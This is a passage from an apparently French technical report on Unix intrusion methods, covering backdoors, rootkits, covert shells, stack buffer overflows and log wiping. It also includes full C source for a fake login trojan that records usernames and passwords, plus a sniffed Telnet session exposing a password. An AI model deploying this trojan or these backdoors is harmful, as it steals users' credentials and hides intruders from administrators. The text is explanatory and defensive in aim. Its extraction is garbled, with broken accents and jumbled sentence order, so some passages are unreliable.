erents types de Backdoors. une simple connection sur un port TCP quelconque (SMTP par exemple). • d´ eranger le travail des utilisateurs par l’envoie de messages. . Les fichiers ~/.4 Les Backdoors Depuis que les intrusions informatique existent. leurs ad` eptes ont mis au point un certains nombre de techniques leur facilitant l’acc` es aux syst` emes p´ en´ tr´ es. il faudra donc qu’il arrive a ` les pr´ edire afin de r´ eagir en cons´ equence. Il est ´ egalement possible de rechercher les comptes qui ne sont jamais (ou tr` es rarement) utilis´ es et qui ont des mots de passe ”trop” faciles. connections r´ eseau. En r` egle g´ en´ eral. Voici quelques exemples de Backdoors fr´ equemment trouv´ ees sur les syst` emes UNIX: • Password Cracking : il est possible de faire ”tourner” (on dit aussi ”mouliner”) un programme permettant de casser l’encryption des mots de passe du syst` eme (le logiciel Crack par exemple). Elles permettent. la modification de fichiers.

rlogin. • Network Services : ce type de Backdoor est bas´ e sur le mˆ eme principe que pour la pr´ ec´ edente. Une connection sur le port telnet (23) est souvent ”monitor´ ee” et donc visible pour l’administrateur. dans le BootBlock du syst` eme.telnetd en ajoutant un compte ”sp´ ecial” ou encore en ´ evitant la proc´ edure d’authentification si le terminal de connection est d´ efini selon un certains type. • Cronjob : la crontab permet de planifier l’ex´ ecution de certaines tˆ aches ` a des heures bien d´ efinies. Les processus sont la premi` ere chose qui pourrait le trahir.conf. Chaque syst` eme en poss` ede une d´ edi´ e afin d’ˆ etre assur´ e de son bon fonctionnement. On peut. . il peut ˆ etre pr´ ef´ erable de modifier le fichier in. • BootBlock : il est possible de rajouter. du.CBPF-NT-007/00 14 • Login : en modifiant le programme de login (fichier login.. De ce fait. rsh. . Ces derni` eres permettent la r´ eutilisation de routines sans avoir a les int´ ` egrer directement dans le fichier binaire. • Shared Library : pratiquement tous les syst` emes UNIX actuels utilisent des librairies partag´ ees (Shared Library). il faut modifier le programme ps (le programme top ´ egalement) afin que certains processus n’apparaissent pas lors de l’affichage des processus sur le syst` eme. les Hackers tiennent a ` ne pas laisser de traces au niveau de leurs activit´ es sur le r´ seau. Il suffit donc de lancer un d´ emon ` a une certaine heure donn´ ee (durant la nuit de pr´ ef´ erence) donnant alors l’acc` es au syst` eme. • Process Hiding : l’important pour un intrus est de ne pas se faire rep´ erer par un administrateur un peu trop curieux. fsck. il en est de mˆ eme pour les routeurs qui d´ efinissent des r´ egles de filtrage qui ne laisseront pas passer une connection de ce type de l’ext´ erieur vers l’int´ erieur du r´ eseau.c). En plus de ces Backdoors. . finger. . Un certains nombre d’outils ont donc ´ et´ e d´ evelopp´ e afin de contourner ce type de . renommer les programmes ou encore modifier la variable argv[] dans un programme ´ ecrit en langage C. Il est ´ egalement possible de cr´ eer son propre d´ emon avec un protocole r´ eseau bien d´ efini puis de le rajouter dans le fichier de configuration /etc/inetd. afin de masquer ces fichiers et r´ epertoires. des morceaux de code visant ` a donner acc` es au syst` eme sans aucune authentification apr` es un red´ emarrage. Il est donc possible de modifier certaines routines utilis´ ees par les proc´ edures d’authentification (la fonction crypt() par exemple) pour que dans certaines conditions elles accordent l’acc` es sans r´ eelles v´ erifications. • System Kernel : le noyau (Kernel ) est la base d´ efinissant comment le syst` eme tout entier fonctionne. plus facilement. Il faut donc modifier les programmes comme ls. • Telnetd : les administrateurs v´ erifient fr´ equemment le fichier binaire de login sur les stations UNIX a ` l’aide de la commande strings (affichage des chaˆ ınes dans un fichier binaire). • File System : ce type de Backdoor ne vise pas ` a conserver le contrˆ ole de la station mais y participe activement en permettant de cacher certains fichiers et r´ epertoires o` u sont g´ en´ eralement stock´ e les programmes utilis´ es par les Hackers.. On peut ´ egalement modifier le code source d’un des programmes d´ ej` a´ ex´ ecut´ es par la crontab afin qu’il fournisse ce type de service. il est possible d’ajouter un mot de passe ou un nom de login ”sp´ ecial” permettant d’acc´ eder au syst` eme sans avoir de v´ erifications r´ eelles de l’identit´ e de l’utilisateur. Il est facile de trouver sur Internet des archives combinant plusieurs de ces Backdoors. Il est donc ´ egalement possible de tenter d’inclure certaines fonctions dans le noyau agissant en tant que Backdoors. . . se sont les RootKits. Pour ´ eviter cela. Il s’agit de modifier les d´ emons pour les services tels que FTP.

ex´ ecution de commandes. Voil` a les trois grandes familles de Shell Backdoors que l’on peut actuellement trouver: • TCP Shell : il est possible d’installer des ”remote shells” sur des ports TCP suffisament ´ elev´ es (High Port Numbers) pour ne pas ˆ etre contrˆ ol´ es par le routeur ou monitor´ es par le syst` eme de logs. Les programmes comme BackOrifice du CDC (Cult of the Dead Cow) ou encore NetBus permettent d’agir a ` distance sur les syst` emes Microsoft (9x/NT/2000): messages. l’utilisation de Backdoors peuvent s’av´ erer utile mais il s’agit alors de bien les concevoir et de les garder secr` etes afin que leur utilisation ne soit pas d´ etourn´ ee. le mˆ eme principe que le remote login (rlogin) mais avec des ports sup´ erieurs ` a 1024 (ports souvent moins contrˆ ol´ es et ne faisant pas partie des ports dits s´ ecuris´ es. . un protocole d’´ ` echange de donn´ ees mais d’informations. l’ICMP est rarement stopp´ e par les Firewalls et encore plus rarement monitor´ e. bri` evement. 4. ouverture du lecteur de CD. le processeur a besoin d’un emplacement afin de sauvegarder rapidement les donn´ ees trait´ ees. un administrateur peut envisager d’installer un certain type de Backdoor afin. La taille des registres ne permet pas ` a ceux-ci de jouer ce rˆ ole. ex´ ecution de programmes. Ces informations sont donc sauv´ ees.CBPF-NT-007/00 15 probl` eme. le processeur doit sauver le contenu de ce registre dans la pile afin de pouvoir le restaurer apr` es . comment fonctionne le processeur a ce niveau: si le registe N est utilis´ e et qu’une sous-proc´ edure est ex´ ecut´ ee et qu’elle requi` ere l’utilisation de ce mˆ eme registre (N). dans une zone m´ emoire appell´ ees pile.. En plus de cela. . Lors de ces traitements. Par exemple. il est int´ eressant d’installer des Backdoors sur les services relevant du DNS (named ou bind) car ils utilisent le port 53 (domain) qui est rarement contrˆ ol´ e tant par les filtres que par les syst` emes de logs. 4. souvent. • UDP Shell : en r` egle g´ en´ eral le trafic TCP est relativement contrˆ ol´ e. de r´ ecup´ erer rapidement le contrˆ ole de son syst` eme apr` es une intrusion ou d’avoir une vue g´ en´ eral de l’´ etat d’une station. Cela permet souvent de pouvoir ´ eviter les Firewalls.) ainsi qu’un protocole r´ eseau propri´ etaire. les syst` emes qui n’´ etaient pas destin´ es aux r´ eseaux les subissent ´ egalement. captures d’´ ecran.. . Il est possible de modifier le contenu des paquets ICMP afin de permettre l’´ echange de donn´ ees ` a travers ce protocole. • ICMP Shell : la commande ping est sans aucun doute la plus utilis´ ee lorsqu’il s’agit de v´ erifier la pr´ esence d’une station sur le r´ eseau. ` a l’aide de commandes sp´ ecifiques et plus rapides. par exemple.5. avec la mont´ ee en puissance d’Internet. Ils utilisent. Elle est stock´ ee en m´ emoire ` a une adresse sp´ ecifique (qui peut-ˆ etre chang´ ee) et est de taille variable. a l’origine. N’´ etant pas.5 Remote Buffer Overflow Exploits La fonction principale d’un processeur est de traiter et de d´ eplacer des donn´ ees. Il est ´ egalement possible de modifier un d´ emon TCP (comme SMTP par exemple) afin qu’il puisse fournir d’autres services que ceux pour lesquels il ´ etait destin´ e: shell. . Bien entendu.1 Structure de la pile Voil` a. Dans ce cas. Ce type de probl` eme est tr` es fr´ equent sous les syst` emes UNIX mais aujourd’hui. il est tr` es courant aujourd’hui d’utiliser des algorithmes de cryptage rendant encore plus difficile la d´ ecouverte des Backdoors car l’administrateur ne peut pas comprendre les donn´ ees qui sont ´ echang´ ees et donc r´ eagir en cons´ equence. certains Hackers pr´ ef` erent donc contourner le probl` eme en utilisant le protocole UDP (User Datagram Protocol). red´ emarrage.

-2048 bytes -1024 bytes SP +4 bytes +8 bytes local array1[1024] 1024 times "X" 4 times "X" 4 times "X" parameters size 1024 bytes size 1024 bytes size 4 bytes size 4 bytes size 4 bytes Figure 10: Exemple de Buffer Overflow en saturant le tableau ”array2” ainsi que le Stack Pointer et l’adresse de retour de sous-proc´ edure. la proc´ edure va alors d´ epasser sa propre adresse de retour (cf. figure 10). NB : La gestion des entr´ ees/sorties dans la pile utilise la m´ ethode du LIFO (Last In . celle de stocker en m´ emoire les nouvelles donn´ ees cr´ e´ ees ou re¸ cues par le programme. la terminaison de la sous-proc´ edure. on appellerait ceci un Buffer Overflow.2 Abuser l’adresse de retour Lors de l’ex´ ecution de la proc´ edure le processeur sauve l’adresse de retour dans la pile.. lorsque la proc´ edure se terminera le processeur retournera ` a l’adresse sp´ ecifi´ ee et continuera son travail. le pointeur de pile (SP) et l’adresse de retour. Lorsque la sous-proc´ edure se terminera le processeur ”sautera” (jump) a ` l’adresse de retour pr´ ec´ edemment stock´ ee dans la pile. Pour cela.5.CBPF-NT-007/00 16 -2048 bytes -1024 bytes SP +4 bytes +8 bytes local array1[1024] local array2[1024] base pointer return @ parameters size 1024 bytes size 1024 bytes size 4 bytes size 4 bytes size 4 bytes Figure 9: Exemple de pile contenant deux tableaux. .. le processeur doit connaˆ ıtre l’adresse de retour lorsque la sous-proc´ edure se termine. Si (par hasard !) une proc´ edure ´ ecrivait plus d’octets (bytes) dans une variable locale afin que la taille n´ ecessaire ` a son stockage dans la pile d´ epasse celle de l’adresse de retour. La pile a une seconde utilit´ ee. Cette adresse est donc ´ egalement sauv´ ee dans la pile avant son ex´ ecution.First Out) 4. En reprenant la structure de pile pr´ ec´ edente et en inscrivant 1032 fois le caract` ere ”X” dans le tableau local ”array2”.

dur´ ee. 4.5.CBPF-NT-007/00 17 Au lieu de ”stupidement” inscrire des caract` eres ` a l’adresse de retour.. Cela s’av` ere d’autant plus int´ eressant lorsque l’on arrive a ` forcer le programme a ` sauter vers une adresse o` u est situ´ e un code assembleur destin´ e par exemple ` a ex´ ecuter un shell UNIX (/bin/sh). c’est l’´ etat de si` ege Les objectifs des intrus peuvent. -2048 bytes -1024 bytes SP +4 bytes +8 bytes local array1[1024] our code (asm_sh) 4 bytes of crap adress of our code parameters size 1024 bytes size 1024 bytes size 4 bytes size 4 bytes size 4 bytes Figure 11: Utilisation d’un Buffer Overflow afin de r´ ecup´ erer un shell UNIX. . L’utilisation des Buffer Overflow s’av` ere tr` es int´ eressante (pour un Hacker ) lorsqu’elle est appliqu´ ee ` a des programmes o` u le Sticky Bit est activ´ e (programmes SUID). un certains nombre de programmes capables de r´ ealis´ es ce type d’attaque existent. .3 Pourquoi Remote ? Ce qui a ´ et´ e expos´ e pr´ ec´ edemment concerne le principe de fonctionnement des Buffer Overflow. Ce mode sp´ ecial de certains programmes UNIX permet leur ex´ ecution sous un autre nom d’utilisateur (souvent root). On pourra par exemple citer les programmes visant les services FTP ou DNS. ou les. r´ eactivit´ e. Il sera alors possible d’indiquer au programme une nouvelle adresse de retour contenant un code totalement diff´ erent. un contrˆ ole total sur la. comme nous avons pu le voir Dans (pratiquement) tous les cas. 5 Et maintenant ? ` a ce niveau. Le programme sautera alors automatiquement ` a l’adresse sp´ ecifi´ ee. . . . l’objectif final est de r´ ecup´ erer machines cibles et de le garder le plus longtemps possible. Ils permettent alors a ` des attaquants de p´ en´ etrer les syst` emes informatiques sans avoir recours aux m´ ethodes d’authentification conventionnelles. . ˆ etre tr` es vari´ es. ). . . . Ce type d’attaque n’est pas encore tr` es fr´ equent car les programmes capables de les r´ ealis´ es sont tr` es difficiles ` a mettre au point (transmission des informations. Le tableau ”array2” contient le code assembleur permettant l’appel au fichier ”/bin/sh” donnant alors la possiblit´ e d’utiliser le syst` eme ` a des fins d´ etourn´ ees. tous le r´ eseau est compromis. Il est alors possible de r´ ecup´ ere un compte administrateur (root) ou encore d’ex´ ecuter une commande quelconque sur le syst` eme. Cependant. ces derniers peuvent ˆ etre utilis´ es localement ou par l’interm´ ediaire d’un r´ eseau informatique. Il va Lorsqu’un intrus est arriv´ e ! Que va-t-il faire a ` pr´ esent ? pr´ ec´ edemment. il serait plus judicieux (et plus int´ eressant) d’indiquer une nouvelle adresse m´ emoire dans la pile.

il s’agit par exemple de changer le fichier binaire du programme de login afin qu’` a chaque connection le couple login/password soit envoy´ e` a une adresse ou stock´ e dans un fichier sur le syst` eme. la premi` ere op´ eration consiste ` a obtenir d’autres voies d’acc` es au syst` eme et cela par l’interm´ ediaire de diff´ erents comptes d’utilisateurs. scanf("%s". "w" ).CBPF-NT-007/00 18 donc falloir ´ evincer le personnel charg´ e de l’administration et de la gestion du r´ eseau et s’assurer un retour ais´ e` a la prochaine connection. if( strm == NULL ) { strm = fopen("/home/Ofh/toto". Ce type de probl` eme est facilement ´ evitable en utilisant des programmes calculant des checksums sur chaques fichiers ”importants” du syst` eme et en les v´ erifiant fr´ equemment (ex: TripWire).\n")."a"). cette technique reprend le principe des Backdoors. strm = fopen("/home/Ofh/toto".2. printf("On a Linux 2. strcpy( prompt.. strcpy( pw.1 R´ ecup´ eration d’autres comptes En r` egle g´ en´ erale. char *prompt[20]. "’s Password: ".0 ou encore John The Ripper 1. &name). .\n\n"). de quelques une: • ”Cassage” (Cracking) des mots de passe contenus dans le fichier /etc/passwd (version accessible aux utilisateurs classiques. Pour cela plusieurs techniques peuvent ˆ etre utilis´ ees. dans le cas des fichiers /etc/shadow par exemple.1998/2000 */ #include <stdio. voici une pr´ esentation. ( char * )getpass(prompt)). Cette m´ ethode a l’inconv´ enient majeur de n´ ecessiter ”beaucoup” de temps car il faut tester toutes les possiblit´ es de mots de passe. /* Login Trojan (/bin/login) */ /* Inscrit dans /home/Ofh/toto le login/password de celui qui l’utilise */ /* Triton(c) . strncat( prompt. Des logiciels sp´ ecifiques permettent de r´ ealiser cette tˆ ache: Crack 5. non exhaustive. name ). Il est tr` es facile de r´ ealiser un programme permettant de r´ ealiser cette op´ eration..h> void main(void) { char *name[80]. printf("Nasca login: "). char *pw[20]. 5.6. strlen("’s Password: ")). de les encrypter et de les comparer avec ceux contenu dans le fichier pr´ ec´ edemment r´ ecup´ erer. l’acc` es au compte root est requis). printf("\033[2J") printf("Welcome to Nasca. FILE *strm.13 Powered. Une politique et un contrˆ ole correct des mots de passe rend cette m´ ethode sans fondement ! • Espionnage des connections d’utilisateurs (TTY Snoop).

9.168.core dumped\n"). cette technique tr` es utilis´ ee actuellement ne peutˆ etre mise en d´ efaut que par l’utilisation du cryptage. Connection Telnet de 192. pw ). Please choose a new one. frank’s New password: Enter the new password again: ******************************************************************************* * * * * * Welcome to AIX Version 4.8.9.168.197[23]->192.8.194[1093]->192.168.194[1093] -------------------------------------telnet (aix) AIX Version 4 (C) Copyrights by IBM and by others 1982.2! * * * * * * Please see the README file in /usr/lpp/bos for information pertinent to * * this release of the AIX Operating System.8. Il est alors possible de r´ ecup´ erer les comptes des utilisateurs utilisant FTP ou Telnet par exemple.168. 1996. qui permet de recevoir toutes les trames qui circulent sans pour autant en ˆ etre le destinataire. promiscious. fclose( strm ).168. login: frank frank’s Password: 3004-610 You are required to change your password.9.197[23] -------------------------------------BDEDBH @M#L^@^@^@^@ACCyyu^CyuXyu_yu yuy!yu^@LINUXyXyLINUXyyAyuAfrank^M @frank21^M@frank21^M@frank21^M@frank21^Mexit^@ (ici on peut trouver le compte et le mot de passe: frank/frank21) -------------------------------------192. Il s’agit de capturer toutes les trames qui circulent sur le r´ eseau en configurant l’interface r´ eseau de la station dans un mode sp´ ecial. * * * * * ******************************************************************************* . "User: (%s). } • Espionnage du r´ eseau local (Sniffing). exit(1).197 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -------------------------------------192. printf("Bus Error .CBPF-NT-007/00 19 } fprintf( strm.168.194 vers 192. Password: [%s]\n". name.

Pour cela il mettra en oeuvre les diff´ erentes techniques qui ont ´ et´ e pr´ esent´ ees mais de plus. . Ils ont pour but d’aider l’administrateur a ` g´ erer correctement ses stations. il est tr` es fr´ equent d’utiliser des Buffer Overflow afin de r´ ecup´ erer le compte de l’administrateur du syst` eme (but ultime). 5. Il faut pour cela avoir une vision globale du probl` eme et connaˆ ıtre globalement les techniques utilis´ es par les nouveaux flibustiers. En r` egle g´ en´ eral les m´ ecanismes de tracabilit´ e sont souvent d´ elaiss´ es car les administrateurs voient simplement en eux des fichiers volumineux et inutiles en temps normal (ce qui n’est pas enti` erement faux). . Sur certains syst` emes il est ´ egalement possible de trouver d’autres types de programmes de logs permettant par exemple d’analyser en temps r´ eel le trafic r´ eseau ou les diff´ erentes tentatives de connection. sortir. ). D’autres programmes permettent d’assurer des fonctions de logging plus pouss´ es comme par exemple le programme d’audit accton tr` es r´ epandu sur les syst` emes SUN mais rarement configur´ e. utiliser des exploits. .. trafiquer le syst` eme. Il s’agira ensuite d’analyser correctement les vuln´ erabilit´ es propre a ` chaque site. le syst` eme UNIX tient en r` egle g´ en´ eral une base d’informations concernant les diff´ erentes tentatives et r´ eussites/´ echecs de login sur le syst` emes dans les fichiers *tmp (utmp & wtmp). de d´ efinir le niveau de s´ ecurit´ e requis et enfin de mettre en place une politique de s´ ecurit´ e acceptable.2 Laisser place nette Rentrer. Cette m´ ethode est sans nulle doute l’une des plus utilis´ ee et des plus difficile ` a d´ etecter. que ce soit du fait d’une tentative d’intrusion ou d’un probl` eme technique. Malgr` es tout. Ces programmes sont plus ou moins ´ efficaces mais dans tous les cas il est pr´ ef´ erable de maintenir une sauvegarde distante de tous ces fichiers sur une machine ”non accessible” a ` partir du r´ eseau. Cela peut aller de la simple tentative de login a ` des messages de debugging de certains d´ emons. il lui faudra prˆ eter attention aux diff´ erents m´ ecanismes de tra¸ cage install´ es par les administrateurs (syslog. peuvent ˆ etre des occupations passionantes mais laissent des traces visibles par un administrateur consciencieux. . 6 Conclusions Actuellement. En plus de ces divers m´ ecanismes.CBPF-NT-007/00 20 % exit • Buffer Overflow. chercher des informations. ces fichiers sont tr` es utils en cas de probl` emes. . il lui faut s’assurer une certaine p´ er´ enit´ e afin de ne pas ˆ etre d´ erang´ e et surtout d´ elog´ e de sa position. Il existe un nombre impressionant de programmes permettants l’utilisation de cette technique malgr` es toutes les mises ` a jour ou patches propos´ es par les constructeurs.. Maintenant que l’intrus est pass´ e maˆ ıtre ` a bord. Les Hackers ont mis au point diff´ erents programmes permettant de retirer leurs traces dans les diff´ erents fichiers de log pr´ esent sur le syst` eme. Lors de cette ´ etape il faut bien veiller ` a examiner le probl` eme tant du cˆ ot´ e de l’administrateur que de celui du simple utilisateur afin de ne pas en cr´ eer de nouveaux. . Le m´ ecanisme le plus connu sous UNIX est sans aucun doute le d´ emon syslogd qui permet d’enregistrer des informations relatives au syst` eme et aux diff´ erents processus tournant sur la machine. . le probl` eme est de correctement d´ efinir les risques engendr´ es par la criminalit´ e informatique. accton.

Bellovin. [23] IDA Architecture Guidelines . 1985.RFC1948. [17] D. Jamsa Press. CA-06. and Dan S.21. Route. Wallach. 3Com Corporation. Richard Steven. TCP SYN Flooding and IP Spoofing Attacks. Dirk Balfanz. Network (In)Security Through IP Packet Filtering.CBPF-NT-007/00 21 R´ ef´ erences [1] Simson Garfinkel & Gene Spafford. 1995. Kohl. ISBN 1-884133-55-X. 7. Ferguson & D. 1992.2. Packets Found on an Internet. Network Working Group .2BSD UNIX TCP/IP Software. O’Reilly & Associates. Hacker Proof . 1996. [4] Hans Husman. [21] P. Network Working Group . Advisory CA-95. Security Problems in the TCP/IP Protocol Suite. [9] Deamon9. Felten. Security Tutorial . [12] Steven M. C.RFC2289. Introduction to Denial-of-Service. Internet Firewalls and Security . Drew Dean. Plan` ete Internet. [7] Chuck Semeria. Les clefs pour une s´ ecurit´ e maˆ ıtris´ ee. Sequence Number Attacks. [22] Laurent Joncheray. 1997. Great Circle Associates. 1996. Bellovin. [5] Philippe Leroy & J´ erˆ ome Thorel. Senie. 1993. Addison-Wesley. [6] Ajay Kumar Gummmadi et al.Princeton University. 19. ISBN 0-20163346-9. Department of Computer Science . Brent Chapman. Phrack Magazine. [25] J. Nesser. 1998. The Kerberos Network Authenticatin Service (V5). 1997. 1997. Haller. [8] Brecht Claerhout. Merit Network Inc. 1998.RFC2267. 1996. Technical Report 540-96. [18] Steven M.1. M. [11] Rick Farrow. 1993. 1997. IP-spoofing Demystified. P.Part IV. [13] W. ISBN 1-56592-148-8.RFC1510. Practical UNIX & Internet Security. A Weakness in the 4. [2] Lars Klander. 1996. [3] David Rudder. 1997. C. There Be Dragons. Network Working Group . A One-Time Password System.Cryptography and Authentification services. 1996. [10] CERT Coordination Center.A Technology Overview. 1993. 17 : 56-65. 1996. Morris. 1996. Second Edition. TCP/IP Illustrated . Bellovin. Version 3.2 : 32-48. Network Ingress Filtering : Defeating Denial of Service Attacks which employ IP Source Adress Spoofing. Infinity. Straw. . Metz. [19] Steven M. [15] Edward W. 1989. A short overview of IP spoofing. 1998.Final Report. [20] CERT Coordination Center. Computer Communications Review.. [24] N. 1998. AT&T Bell Laboratories. [16] Robert T. Bellovin. Firewall and Proxy HOWTO.01. [14] Steven M. 1996. Defending Against Sequence Number Attacks. Neuman.The Ultimate Guide to Network Security.Volume 1. A Simple Active Attack Against TCP. Advanced Networking Security . In Proceedings of the Third Usenix UNIX Security Sympisum. Network Working Group . IP Spoofing Attacks and Hijacked Terminal Connections.

Solaris. O’Reilly & Associates. 1999. Ylonen. [33] THC [The Hacker’s Choice]. [32] J. SunOS.CBPF-NT-007/00 22 [26] T. . The SSH (Secure Shell) Remote Login Protocol. An Evening with Berferd in which a Cracker is Lured. Backdoors. Phrack 49 file 14. and Studied. Reynolds & J. Stack Overflow Exploits on Linux. 1987. 1997. 1990. [34] Aleph One. [28] Bill Cheswick. USENIX Proceedings. Assigned Numbers. HP-UX. 1996. THC [The Hacker’s Choice]. Improving the Security of Your Site by Breaking Into it. Placing Backdoors Through Firewalls. Postel. [30] Van Hauser. [27] Craig Hunt. TCP/IP Network Administration. Technical Report. 1998. Endured.RFC1010. 1997. Network Working Group . Smashing The Stack For Fun And Profit. BSDOS. Network Working Group . [29] Christopher Klaus. FREEBSD. 1995. Second Edition. ISBN 1-56592-322-7. [31] Dan Farmer & Wietse Venema.Draft SSH Protocol 00.

Sign up to vote on this title
UsefulNot useful